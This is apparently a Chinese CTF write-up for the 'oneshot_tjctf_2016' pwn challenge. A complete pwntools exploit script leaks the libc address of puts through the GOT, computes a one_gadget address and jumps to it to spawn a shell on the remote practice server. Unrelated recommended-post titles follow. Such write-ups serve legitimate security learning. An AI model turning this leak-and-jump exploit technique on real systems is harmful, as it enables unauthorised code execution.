oneshot_tjctf_2016

简单题,容易想到先泄漏libc基址,然后jump to onegadget 从而getshell
from pwn import *
'''
author: lemon
time: 2020-10-26
libc: libc-2.23.so
python version: 2
'''
local = 0
binary = "./oneshot_tjctf_2016"
libc_path = './libc-2.23.so'
port = "25643"
if local == 1:
	p = process(binary)
else:
	p = remote("node3.buuoj.cn",port)
def dbg():
	context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
elf = ELF(binary)
libc = ELF(libc_path)
puts_got = elf.got['puts']
dbg()
p.recvuntil('Read location?')
p.sendline(str(puts_got))
# puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
p.recvuntil('0x0000')
puts_addr = int(p.recv(12),16)
print "puts address : ",hex(puts_addr)
libc_base = puts_addr - libc.sym['puts']
onegadget_list = [0x45216,0x4526a,0xf02a4,0xf1147]
print "[*] libc_base:",hex(libc_base)
onegadgegt = libc_base + onegadget_list[3]
p.recvuntil('Jump location?')
payload = onegadgegt
p.sendline(str(payload))
# gdb.attach(p)
p.interactive()

oneshot_tjctf_2016的更多相关文章
随机推荐
- win10彻底卸载和删除MySql
			版权声明:本文为博主原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明. 本文链接:https://blog.csdn.net/qq_41140741/article/de ... 
- zabbix关键字含义
			Zabbix server :zabbix控制中心,收集数据,写入数据库都是他的工作 Zabbix Agent:部署在被监控服务器上的一个进程,负责和zabbix server 交互,执行命令. Ho ... 
- Spring--AOP的见解
			AOP是指面向切面编程,与JAVA中的动态代理有很深的渊源. 在使用Spring框架时,AOP编程能简化很多繁杂的步骤,精简代码. 切面:横切关注点(跨越程序中多个模块的功能),被模块化的特殊对象,也 ... 
- 跟我一起学.NetCore之Swagger让前后端不再烦恼及界面自定义
			前言 随着前后端分离开发模式的流行,接口对接.联调成为常事,前端同事会经常问:我需要调哪个接口?这个接口数据格式是啥?条件都传啥? 对于一些紧急接口可能会采取沟通对接,然后补文档,其他的都会回一句:看 ... 
- C#方法Extra
			C#方法Extra 上次说的只是方法的一些基本东西,今天讲讲重载和 Lambda 表达式. 重载 方法的重载(overload)指的是同一个名字的方法,有着不一样的方法签名(method signat ... 
- Spring学习(九)--Spring的AOP
			1.配置ProxyFactoryBean Spring IOC容器中创建Spring AOP的方法. (1)配置ProxyFactoryBean的Advisor通知器 通知器实现定义了对目标对象进行增 ... 
- 关于Python中以字母r,或字母u 开头的字符串
			(1)以r或R开头的Python中的字符串表示(非转义的)原始字符串 python里面的字符,如果开头处有个r,比如: (r'^time/plus/\d{1,2}/$', hours_ahead) ... 
- training set, validation set, test set的区别
			training set: 用来训练模型 validation set : 用来做model selection test set : 用来评估所选出来的model的实际性能 我们知道,在做模型训练之 ... 
- kail使用sunJDK
			今天在安装软件的时候报错,提示应使用oracle的JDK,所以鼓捣了一会发现个简单的方法 1.下载安装包解压文件到opttar -xzvf jdk-8u91-linux-x64.tar.gz 2.设置 ... 
- 【奇淫巧技】sqlmap绕过过滤的tamper脚本分类汇总
			sqlmap绕过过滤的tamper脚本分类汇总 
